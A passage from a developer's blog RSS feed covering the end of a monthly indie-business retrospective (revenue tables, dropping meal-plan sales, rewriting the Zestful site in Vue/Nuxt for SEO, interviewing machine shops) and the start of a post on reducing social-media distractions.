 &lt;td>&lt;font color="red">-$23.87 (-100%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$258.54&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$269.07&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$10.53 (+4%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Things are improving a bit, but I think October-December is the worst time of year for diet-related websites. I&amp;rsquo;m expecting a huge surge in January, as people begin exploring the keto diet as part of New Year&amp;rsquo;s resolutions.&lt;/p>
&lt;p>Amazon Affiliate Earnings have dropped to their lowest levels since May, when traffic was half the size it is today. AdSense is up a bit because I fixed a bug in my AdSense integration. The fix went live in mid-November, so I&amp;rsquo;m expecting an even bigger increase in AdSense revenue next month, which will have the fix in place for the full month. I&amp;rsquo;m still offering meal plans for sale, but I&amp;rsquo;ve virtually ended all efforts to sell them (more on that &lt;a href="#giving-up-on-meal-plans">below&lt;/a>).&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>October 2019&lt;/th>
 &lt;th>November 2019&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Total Earnings&lt;/td>
 &lt;td>$3.89&lt;/td>
 &lt;td>$65.33&lt;/td>
 &lt;td>&lt;font color="green">+$61.44 (+1,580%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Zestful has been picking up slowly over the last few months. I&amp;rsquo;ve had a few big months in the past, but it was usually from people using it for large, one-off tasks. Over the past few months, I&amp;rsquo;ve seen consistent, growing usage from several different users.&lt;/p>
&lt;h2 id="giving-up-on-meal-plans">Giving up on meal plans&lt;/h2>
&lt;p>For the last few months, I&amp;rsquo;ve been exploring the possibility of selling meal plans on Is It Keto, but it&amp;rsquo;s been harder than I expected. In October, I &lt;a href="https://mtlynch.io/retrospectives/2019/11/#my-many-attempts-to-sell-meal-plans">only sold two meal plans&lt;/a> for a total of $23.87 after fees. I tried lots of tweaks to the sales page, adjustments in pricing, and changes to the rest of my site to drive visitors to the sales page, but none of it seemed to make a difference.&lt;/p>
&lt;p>In November, I tried a few more tweaks to the sales pages:&lt;/p>
&lt;ul>
&lt;li>I added a photo to one of the meal plans&lt;/li>
&lt;li>I added a customer testimonial&lt;/li>
&lt;li>I removed the price from the &amp;ldquo;Download&amp;rdquo; button&lt;/li>
&lt;/ul>
&lt;p>None of those changes made any difference.&lt;/p>
&lt;p>It was particularly discouraging when clicks remained low even after I changed the text on the purchase button to &amp;ldquo;Download PDF.&amp;rdquo; At that point, a user might assume that it&amp;rsquo;s a free download, and they &lt;em>still&lt;/em> weren&amp;rsquo;t clicking.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/12/strip-price.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/12/strip-price_hu_c0f886282f20a816.jpg 300w, https://mtlynch.io/retrospectives/2019/12/strip-price_hu_8656232fa5b3add3.jpg 600w, https://mtlynch.io/retrospectives/2019/12/strip-price_hu_28db3985198674fe.jpg 800w, https://mtlynch.io/retrospectives/2019/12/strip-price_hu_bf6beaa75d20e35a.jpg 1200w, https://mtlynch.io/retrospectives/2019/12/strip-price.jpg 2496w'
 src="https://mtlynch.io/retrospectives/2019/12/strip-price.jpg" alt="Before and after screenshots of removing price" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Removing price from download button&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I&amp;rsquo;m sure there&amp;rsquo;s a way to sell them successfully, but I spent 6+ weeks on it, and it felt like way too long. I had replaced a portion of AdSense ads with my own ads for the meal plans, but I would have made far more money from AdSense, so I got rid of my self-ads. I also took &amp;ldquo;Meal Plans&amp;rdquo; out of the site&amp;rsquo;s main navigation bar and removed it from the homepage except for a mention in the site&amp;rsquo;s blog.&lt;/p>
&lt;h2 id="rewriting-the-zestful-website-out-of-spite">Rewriting the Zestful website out of spite&lt;/h2>
&lt;p>I wrote the Zestful website last year, and it was &lt;a href="https://mtlynch.io/shipping-too-late/#its-okay-because-its-sales-coding">two weeks of misery&lt;/a>. Mostly because I wrote it in Angular, the only frontend framework I knew at the time (&amp;hellip;that I &lt;a href="https://mtlynch.io/retrospectives/2019/12/dr-evil-air-quotes.gif">&amp;ldquo;knew&amp;rdquo;&lt;/a>). Since then, I&amp;rsquo;ve learned &lt;a href="https://vuejs.org/">Vue.js&lt;/a>, which I strongly prefer, and I have much more web design under my belt.&lt;/p>
&lt;p>Still, the Zestful website has dragged along as an Angular site. I desperately wanted to rewrite it in Vue, but I couldn&amp;rsquo;t justify a from-scratch rewrite of a website I rarely touch.&lt;/p>
&lt;p>Then, I looked at Google search results. For the query &lt;code>parse ingredients&lt;/code>, Zestful came up on page three, which is basically invisible. Even more frustrating, page one featured a Zestful competitor, the only other company that exclusively offers ingredient parsing as a service.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/12/zestful-competitor.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/12/zestful-competitor_hu_de9d71ca817dc34b.jpg 300w, https://mtlynch.io/retrospectives/2019/12/zestful-competitor_hu_5304d12d02668ee8.jpg 600w, https://mtlynch.io/retrospectives/2019/12/zestful-competitor_hu_d7a4f747a0c20880.jpg 800w, https://mtlynch.io/retrospectives/2019/12/zestful-competitor_hu_22348ea0569a167f.jpg 1200w, https://mtlynch.io/retrospectives/2019/12/zestful-competitor.jpg 1204w'
 src="https://mtlynch.io/retrospectives/2019/12/zestful-competitor.jpg" alt="Screenshot of Zestful competitor" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Competitor to Zestful that was outperforming it in search results&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>From testing the competing service, I could tell that they created it the same way that I created Zestful. They &lt;a href="https://mtlynch.io/resurrecting-1/">wrapped an old open-source library in a Web UI&lt;/a>. Except they didn&amp;rsquo;t develop it further, fix any of the bugs, or add any of the features that I did.&lt;/p>
&lt;p>So, it irritated me that they consistently beat me in search results. I couldn&amp;rsquo;t figure out why! More sites linked to Zestful. I had more content, and I updated my site more frequently. The only explanation I could think of was that Zestful was rendered client-side, and my competitor&amp;rsquo;s site was rendered server-side. That meant that they could populate SEO-relevant HTML tags that need to be populated server-side.&lt;/p>
&lt;p>I thought about ways I could achieve server-side rendering on the Zestful site. Angular supports it through &lt;a href="https://angular.io/guide/universal">Angular Universal&lt;/a>, but I once tried to move &lt;a href="https://recipe-search.isitketo.org">KetoHub&lt;/a> to Angular Universal and burned over a week with nothing to show for it. Plus, I definitely didn&amp;rsquo;t want to dig myself deeper into the pit of Angular.&lt;/p>
&lt;p>Vue has a server-side rendering solution called &lt;a href="https://nuxtjs.org/">Nuxt&lt;/a>, but I wasn&amp;rsquo;t too crazy about the idea of running an entire Node server just to render a few pages server-side. Looking closer, I found that Nuxt supports &lt;a href="https://nuxtjs.org/guide/#static-generated-pre-rendering-">statically generated pages&lt;/a>. This meant that I could pre-generate a few HTML files and host them with dumb static hosting (the way I host this blog). But I&amp;rsquo;d get the tooling of Vue and the convenience of a static site.&lt;/p>
&lt;p>I couldn&amp;rsquo;t find any good examples of simple static page generation with Nuxt, but I got my own &lt;a href="https://github.com/mtlynch/hello-world-vue-pre-rendered">hello world&lt;/a> working through some trial and error. Then I went on a mad coding marathon for a day and a half where I ported &lt;a href="https://zestfuldata.com">Zestful&amp;rsquo;s website&lt;/a> from &lt;a href="https://github.com/mtlynch/zestful-frontend">Angular&lt;/a> to &lt;a href="https://github.com/mtlynch/zestful-frontend2">Vue + Nuxt&lt;/a>. Now, Zestful has all the proper server-side tags like &lt;code>&amp;lt;link rel=&amp;quot;canonical&amp;quot; ...&amp;gt;&lt;/code> and per-page &lt;code>&amp;lt;title&amp;gt;&lt;/code> tags.&lt;/p>
&lt;p>Redesigning the UI was not the goal, but I had to reimplement a lot of the CSS from scratch since I also switched CSS frameworks from &lt;a href="https://material.io/design/">Material Design&lt;/a> to &lt;a href="https://getbootstrap.com/">Bootstrap&lt;/a>. I&amp;rsquo;ve had a lot more experience with CSS since designing Zestful, so I took the opportunity to fix up a few small things that bothered me in the previous design:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/12/zestful-rewrite.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/12/zestful-rewrite_hu_2268da845bd9d75b.jpg 300w, https://mtlynch.io/retrospectives/2019/12/zestful-rewrite_hu_d4f3d27f942c3814.jpg 600w, https://mtlynch.io/retrospectives/2019/12/zestful-rewrite_hu_5ff502879f2f2679.jpg 800w, https://mtlynch.io/retrospectives/2019/12/zestful-rewrite_hu_f695f816b1a05c41.jpg 1200w, https://mtlynch.io/retrospectives/2019/12/zestful-rewrite.jpg 2295w'
 src="https://mtlynch.io/retrospectives/2019/12/zestful-rewrite.jpg" alt="Screenshot of Zestful competitor" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Competitor to Zestful that outperformed it in search results&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>A few days later, I searched &amp;ldquo;parse ingredients&amp;rdquo; in Google and saw this:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/12/first-page.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/12/first-page_hu_786080683a47cc2c.jpg 300w, https://mtlynch.io/retrospectives/2019/12/first-page_hu_9445a227e4641905.jpg 600w, https://mtlynch.io/retrospectives/2019/12/first-page_hu_9336367ca15b2580.jpg 800w, https://mtlynch.io/retrospectives/2019/12/first-page.jpg 1185w'
 src="https://mtlynch.io/retrospectives/2019/12/first-page.jpg" alt="Zestful on first page of Google results" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Zestful climbs to first page in Google results&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Whoo, first page! And I&amp;rsquo;m one position ahead of the competitor that inspired the rewrite.&lt;/p>
&lt;p>I&amp;rsquo;m a bit skeptical because I&amp;rsquo;ve never seen any change affect Google rankings so suddenly and drastically. I&amp;rsquo;m optimistically monitoring my Google Search Console to see how my stats change after this rewrite in the long-term.&lt;/p>
&lt;h2 id="but-its-all-procrastination">But it&amp;rsquo;s all procrastination&lt;/h2>
&lt;p>So, tinkering with Zestful and Is It Keto &lt;em>seems&lt;/em> productive, but it doesn&amp;rsquo;t serve my high-level goal of finding a new, &lt;a href="https://mtlynch.io/retrospectives/2019/10/#thinking-bigger">big swing idea&lt;/a>. Looking back at the month, I spent too much time on coding tasks and too little time on prospecting customers.&lt;/p>
&lt;p>That said, the outputs do make it seem a little skewed. I did spend time attending events and researching companies, but I ended up eliminating most prospects, so there are fewer tangible outputs from those activities.&lt;/p>
&lt;h2 id="the-disconnect-problem-in-finding-software-business-ideas">The disconnect problem in finding software business ideas&lt;/h2>
&lt;p>One of the big lightbulb moments I had in running my own business was reading the book &lt;a href="https://smile.amazon.com/Start-Small-Stay-Developers-Launching/dp/0615373968/">&lt;em>Start Small, Stay Small&lt;/em>&lt;/a> by Rob Walling (&lt;a href="https://mtlynch.io/book-reports/start-small-stay-small/">my notes&lt;/a>). He pointed out that the advantage of solo developers is that they can build solutions for niche audiences and still make money.&lt;/p>
&lt;p>Walling gave the example of a company that makes accounting software specifically for freelance web developers. Despite huge competitors like QuickBooks or Xero, the specialty accounting software succeeds because web developers are willing to pay for a product that focuses on their specific needs. Walling&amp;rsquo;s advice, therefore, is to write software for small niche businesses.&lt;/p>
&lt;p>The challenge, I&amp;rsquo;m learning, is connecting with those niches.&lt;/p>
&lt;p>Suppose, for example, that you&amp;rsquo;re the owner of a custom auto shop. You have to purchase car parts from many different boutique suppliers all over the country, and each of them has a different payment system and ordering process. To do your accounting properly, you have to comb through your email and file each receipt in your accounting software.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/12/neonbrand-ZSz1m4JPDqU-unsplash.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/12/neonbrand-ZSz1m4JPDqU-unsplash_hu_67601ea89ab470ad.jpg 300w, https://mtlynch.io/retrospectives/2019/12/neonbrand-ZSz1m4JPDqU-unsplash_hu_bb63c46f22369505.jpg 600w, https://mtlynch.io/retrospectives/2019/12/neonbrand-ZSz1m4JPDqU-unsplash_hu_3528db2c6af44b37.jpg 800w, https://mtlynch.io/retrospectives/2019/12/neonbrand-ZSz1m4JPDqU-unsplash_hu_fdeebbe05016e726.jpg 1200w, https://mtlynch.io/retrospectives/2019/12/neonbrand-ZSz1m4JPDqU-unsplash.jpg 5184w'
 src="https://mtlynch.io/retrospectives/2019/12/neonbrand-ZSz1m4JPDqU-unsplash.jpg" alt="Zestful on first page of Google results" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>That iron cabinet would be less dirty if this auto shop had better software.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>If you saw this as a developer, there are a few problems you could solve with software. Maybe you could create a service that allows the shop owner to forward their receipts to you. You&amp;rsquo;d automatically parse them and import the data into the customer&amp;rsquo;s QuickBooks account. Or, if you&amp;rsquo;re ambitious, maybe you develop a marketplace for custom auto parts so that the owner doesn&amp;rsquo;t have to hunt parts across different websites.&lt;/p>
&lt;p>But there&amp;rsquo;s the disconnect problem! If you&amp;rsquo;re the owner of the custom auto shop, it probably doesn&amp;rsquo;t even occur to you that someone could write software to solve these problems. You may be so accustomed to your process that you don&amp;rsquo;t even recognize the problems in the first place.&lt;/p>
&lt;p>I, as the developer, don&amp;rsquo;t have a way of discovering that the business owner has this problem because I don&amp;rsquo;t know their workflows and pain points. I could ask them, of course, but it&amp;rsquo;s sort of a strange proposition:&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>Me&lt;/strong>: I&amp;rsquo;d like to sell you a software product to automate the expensive or tedious parts of running your business.&lt;/p>
&lt;p>&lt;strong>Business owner&lt;/strong>: Great! What does your software do?&lt;/p>
&lt;p>&lt;strong>Me&lt;/strong>: I don&amp;rsquo;t know.&lt;/p>
&lt;p>&lt;strong>Business owner&lt;/strong>: &amp;hellip;?&lt;/p>
&lt;p>&lt;strong>Me&lt;/strong>: I don&amp;rsquo;t know what software you need, so in order to find out, you have to spend a few hours teaching me, a stranger, about your business.&lt;/p>
&lt;p>&lt;strong>Business owner&lt;/strong>: &amp;hellip;&lt;/p>
&lt;p>&lt;strong>Me&lt;/strong>: Also, there&amp;rsquo;s a good chance I&amp;rsquo;ll decide there isn&amp;rsquo;t a profitable opportunity for me, so I&amp;rsquo;ll end up not making anything that solves any of your problems.&lt;/p>
&lt;p>&lt;strong>Business owner&lt;/strong>: &lt;em>[calls security]&lt;/em>&lt;/p>&lt;/blockquote>
&lt;p>So, that&amp;rsquo;s a bit of what I&amp;rsquo;m running into right now. There are probably plenty of businesses near me that would pay me to build them a software product, but I&amp;rsquo;m not aware that they exist. And when I find businesses that I &lt;em>suspect&lt;/em> could benefit from a new software solution, I don&amp;rsquo;t have a way of demonstrating my value to them until they spend a few hours explaining their work to me.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Sidenote:&lt;/strong> Maybe that auto shop example I made up is actually a good idea!&lt;br>&lt;br>&lt;strong>Note to self&lt;/strong>: &lt;em>Research custom auto shops.&lt;/em>
&lt;/div>

&lt;h2 id="interviewing-machine-shops">Interviewing machine shops&lt;/h2>
&lt;p>In prospecting local businesses, I noticed that all of the small companies around me had websites by the same web designer, &lt;a href="https://montaguewebworks.com/">Montague WebWorks&lt;/a>. I emailed the owner, Mik, asking if he had any advice for someone looking to create software for small, local businesses. He kindly invited me to his office, and during our discussion, he recommended that I check out &lt;a href="https://montaguewebworks.com/">Valley Venture Mentors&lt;/a>, an organization that provides funding and mentorship for local startups.&lt;/p>
&lt;p>I attended a Valley Venture Mentors event and met the owner of a machine shop. We talked about the available software options for machine shops, and they seem pretty bad. Apparently, one of the most popular products is an application called JobBOSS, which looks like an app that time traveled here from 1994. From watching their &lt;a href="https://www.youtube.com/watch?v=KlNFb2APQ60">product demos&lt;/a>, the entire application seems to be just a thin UI over a SQL database.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/12/job-boss-quote.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/12/job-boss-quote_hu_1d18b170d62e95f.jpg 300w, https://mtlynch.io/retrospectives/2019/12/job-boss-quote_hu_f9f8a163d5030e46.jpg 600w, https://mtlynch.io/retrospectives/2019/12/job-boss-quote_hu_244e664c72f46db4.jpg 800w, https://mtlynch.io/retrospectives/2019/12/job-boss-quote_hu_4e75361a88a1da17.jpg 1200w, https://mtlynch.io/retrospectives/2019/12/job-boss-quote.jpg 1391w'
 src="https://mtlynch.io/retrospectives/2019/12/job-boss-quote.jpg" alt="Screenshot from JobBOSS" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Do machine shop workers really like maintaining databases?&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It seems fairly bloated and complex, so my hope is that I can find machine shops who would pay for a simpler version of JobBOSS that caters to a more narrow use case.&lt;/p>
&lt;p>My goal for December is to approach machine shops that using software like this and interview them about what they like or dislike about their existing processes and software.&lt;/p>
&lt;h2 id="recommendations">Recommendations&lt;/h2>
&lt;p>To close out, here are a couple of neat things I discovered this month:&lt;/p>
&lt;h3 id="whole-page-screenshots-in-firefox">Whole page screenshots in Firefox&lt;/h3>
&lt;p>I often take screenshots of websites, but I struggle to capture all of the relevant information into a single screen. This is especially difficult when taking screenshots of mobile websites, where the viewport is tiny. Then, I noticed that Firefox&amp;rsquo;s context menu has a &amp;ldquo;Take a Screenshot&amp;rdquo; item.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/12/ff-screenshot.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/12/ff-screenshot_hu_5058dbae79ea634e.jpg 300w, https://mtlynch.io/retrospectives/2019/12/ff-screenshot_hu_f6fe62167fc10518.jpg 600w, https://mtlynch.io/retrospectives/2019/12/ff-screenshot_hu_1e1c099c7cfd97c0.jpg 800w, https://mtlynch.io/retrospectives/2019/12/ff-screenshot_hu_c5baf632f6b7b58f.jpg 1200w, https://mtlynch.io/retrospectives/2019/12/ff-screenshot.jpg 1316w'
 src="https://mtlynch.io/retrospectives/2019/12/ff-screenshot.jpg" alt="Take a screenshot feature in Firefox" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Firefox&amp;rsquo;s amazing, built-in screenshot feature&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It lets you save the entire page in two clicks:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/12/ff-screenshot-select.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/12/ff-screenshot-select_hu_fe2dd9454683543d.jpg 300w, https://mtlynch.io/retrospectives/2019/12/ff-screenshot-select_hu_7c88003e3ef0b60f.jpg 600w, https://mtlynch.io/retrospectives/2019/12/ff-screenshot-select_hu_3cd11d8d991bee38.jpg 800w, https://mtlynch.io/retrospectives/2019/12/ff-screenshot-select_hu_eaec3a3fd58a19d9.jpg 1200w, https://mtlynch.io/retrospectives/2019/12/ff-screenshot-select.jpg 1316w'
 src="https://mtlynch.io/retrospectives/2019/12/ff-screenshot-select.jpg" alt="Take a screenshot feature in Firefox" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Firefox allows you to screenshot an entire page, not just the visible portion&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I can take a screenshot of the &lt;a href="https://mtlynch.io/retrospectives/2019/12/isitketo-mobile.jpg">entire Is It Keto homepage&lt;/a> on mobile without stitching together a bunch of separate screenshots. Really handy feature!&lt;/p>
&lt;h3 id="bruno-simons-3d-resume">Bruno Simon&amp;rsquo;s 3D Resume&lt;/h3>
&lt;p>Web developer &lt;a href="https://bruno-simon.com/">Bruno Simon&lt;/a> made his portfolio page into a slick 3D driving game. It&amp;rsquo;s surprisingly performant for a game that runs entirely in the browser plugin-free, and it&amp;rsquo;s delightfully fun to explore for a few minutes.&lt;/p>
&lt;blockquote class="twitter-tweet" data-lang="en">&lt;p lang="en" dir="ltr">After months of hard but fun work, I&amp;#39;m glad to finally show you my new portfolio 🚗&lt;a href="https://t.co/rVPv9oVMud">https://t.co/rVPv9oVMud&lt;/a>&lt;br>&lt;br>Made with &lt;a href="https://twitter.com/hashtag/threeJS?src=hash&amp;amp;ref_src=twsrc%5Etfw">#threeJS&lt;/a> and &lt;a href="https://twitter.com/hashtag/canonJS?src=hash&amp;amp;ref_src=twsrc%5Etfw">#canonJS&lt;/a> &lt;a href="https://t.co/zrq8rpILq1">pic.twitter.com/zrq8rpILq1&lt;/a>&lt;/p>&amp;mdash; Bruno (@bruno_simon) &lt;a href="https://twitter.com/bruno_simon/status/1187332718088069121?ref_src=twsrc%5Etfw">October 24, 2019&lt;/a>&lt;/blockquote>
&lt;script async src="https://platform.twitter.com/widgets.js" charset="utf-8">&lt;/script>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Rewrote the Zestful website in Nuxt + Vue, so now it&amp;rsquo;s pre-rendered and SEO-friendly.&lt;/li>
&lt;li>Published the blog post &lt;a href="https://mtlynch.io/eliminate-distractions/">&amp;ldquo;Eliminating Distractions from Social Media, Email, and StackOverflow&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Refactored my Jinja templates on Is It Keto, which revealed some bugs and allowed me to clean up &lt;a href="https://imgur.com/sQV6kCq">some of the UI&lt;/a>.&lt;/li>
&lt;li>Reviewed and published four new articles on Is It Keto.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Stop procrastinating, and go talk to more customers.&lt;/li>
&lt;li>Server-side rendering seems to make a huge difference in search engine rankings.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Conduct five customer interviews.&lt;/li>
&lt;li>Publish a new blog post explaining the details of my &lt;a href="https://github.com/mtlynch/hello-world-vue-static">Hello World using Vue pre-rendering&lt;/a>.&lt;/li>
&lt;li>Publish two new Is It Keto articles.&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>&lt;em>Auto shop photo by NeONBRAND on Unsplash.&lt;/em>&lt;/p></content:encoded></item><item><title>Eliminating Distractions from Social Media, Email, and StackOverflow</title><link>https://mtlynch.io/eliminate-distractions/</link><pubDate>Mon, 11 Nov 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/eliminate-distractions/</guid><description>&lt;p>You open Gmail to write a note to your friend. Before you begin, you notice that you&amp;rsquo;ve received six new messages. It pains you to leave emails unopened, so you read them immediately. Two hours later, you realize that you never wrote that note to your friend.&lt;/p>
&lt;p>This happened to me constantly, and it wasn&amp;rsquo;t just Gmail. I&amp;rsquo;d look at my phone to check the time and find myself mindlessly checking 10 notifications. I&amp;rsquo;d open Facebook to look up someone&amp;rsquo;s birthday and fall into a zombie state scrolling through my News Feed.&lt;/p></description><content:encoded>&lt;p>You open Gmail to write a note to your friend. Before you begin, you notice that you&amp;rsquo;ve received six new messages. It pains you to leave emails unopened, so you read them immediately. Two hours later, you realize that you never wrote that note to your friend.&lt;/p>
&lt;p>This happened to me constantly, and it wasn&amp;rsquo;t just Gmail. I&amp;rsquo;d look at my phone to check the time and find myself mindlessly checking 10 notifications. I&amp;rsquo;d open Facebook to look up someone&amp;rsquo;s birthday and fall into a zombie state scrolling through my News Feed.&lt;/p>
&lt;p>Instead of managing my apps, I allowed them to manage me. I developed a Pavlovian response to app notifications and was consuming their content nonstop.&lt;/p>
&lt;p>This article is a collection of techniques that have helped me use email, social media, and other apps in more thoughtful, productive ways. Some are technical — tinkering with settings or installing helpful extensions. Others are adjustments to my habits and mindset that improved my relationship with social media.&lt;/p>
&lt;h2 id="decide-what-you-want-from-social-media">Decide what you want from social media&lt;/h2>
&lt;p>If you asked me to list Facebook&amp;rsquo;s positive effects on my life, it would include things like:&lt;/p>
&lt;ul>
&lt;li>Hearing about my friends&amp;rsquo; major life events, such as marriages or job changes&lt;/li>
&lt;li>Seeing pictures of my friends as they raise their children&lt;/li>
&lt;li>Remembering people&amp;rsquo;s birthdays&lt;/li>
&lt;/ul>
&lt;p>If you observed my &lt;em>actual&lt;/em> use of Facebook, you&amp;rsquo;d notice me spending time on decidedly non-positive activities, such as:&lt;/p>
&lt;ul>
&lt;li>Engaging in heated political arguments&lt;/li>
&lt;li>Reading glamourized, envy-baiting updates from distant acquaintances&lt;/li>
&lt;li>Escaping the experience of sitting alone with my thoughts for more than three seconds at a time&lt;/li>
&lt;/ul>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 900px">



 &lt;a href="https://mtlynch.io/eliminate-distractions/ideal-facebook.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 900px, 98vw"
 srcset='https://mtlynch.io/eliminate-distractions/ideal-facebook_hu_c9c27d0acc0d6a65.jpg 300w, https://mtlynch.io/eliminate-distractions/ideal-facebook_hu_e0e2e6663188de9a.jpg 600w, https://mtlynch.io/eliminate-distractions/ideal-facebook_hu_77c7d94660fdbb04.jpg 800w, https://mtlynch.io/eliminate-distractions/ideal-facebook_hu_f79f742f1dd20d05.jpg 1200w, https://mtlynch.io/eliminate-distractions/ideal-facebook.jpg 1200w'
 src="https://mtlynch.io/eliminate-distractions/ideal-facebook.jpg" alt="Ideal Facebook vs. Actual Facebook" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Until a few years ago, I checked Facebook 20-30 times per day. At the first hint of boredom, I&amp;rsquo;d open a new browser tab and check Facebook. During a 30-second elevator ride, I&amp;rsquo;d take my phone out and cycle through Facebook, Twitter, and reddit.&lt;/p>
&lt;p>My usage patterns served all of my negative reasons for using Facebook. To nurture the positive reasons, I didn&amp;rsquo;t have to check it that often. Once a day would be sufficient. Once per week would probably be fine.&lt;/p>
&lt;p>The first step toward a healthy relationship with your apps is deciding what you want out of them and what you must invest to get it. You&amp;rsquo;ll probably find that you can retain the essential benefits from your apps while granting them substantially less time and attention.&lt;/p>
&lt;h2 id="twitter">Twitter&lt;/h2>
&lt;h3 id="make-twitters-trending-hashtags-boring">Make Twitter&amp;rsquo;s trending hashtags boring&lt;/h3>
&lt;p>Whenever you sign in to Twitter, it shows you a list of hashtags designed to attract your interest and send you down a rabbit hole.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/eliminate-distractions/twitter-trending.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/eliminate-distractions/twitter-trending_hu_582e085a4e4ee829.jpg 300w, https://mtlynch.io/eliminate-distractions/twitter-trending_hu_bbc6b85f5967749e.jpg 600w, https://mtlynch.io/eliminate-distractions/twitter-trending_hu_a7b11ff758c2c4ec.jpg 800w, https://mtlynch.io/eliminate-distractions/twitter-trending_hu_10525fc2f22d4292.jpg 1200w, https://mtlynch.io/eliminate-distractions/twitter-trending.jpg 1286w'
 src="https://mtlynch.io/eliminate-distractions/twitter-trending.jpg" alt="Twitter settings for Trends panel" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Twitter shows you trending topics to seduce you into spending more time in the app.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The Trending Topics play on your natural desire to feel involved, but they&amp;rsquo;re almost always garbage. The majority are some outrage that everyone will forget in a month. Otherwise, it&amp;rsquo;s a stream of low-quality, reactionary responses to a newsworthy event.&lt;/p>
&lt;p>You can&amp;rsquo;t disable the Trending Topics panel, but you can make it boring. Configure &lt;a href="https://twitter.com/settings/trends">your Trends locale&lt;/a> to a city whose language you can&amp;rsquo;t read and whose news you don&amp;rsquo;t follow. Twitter now shows me trends for Abu Dhabi.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 600px">



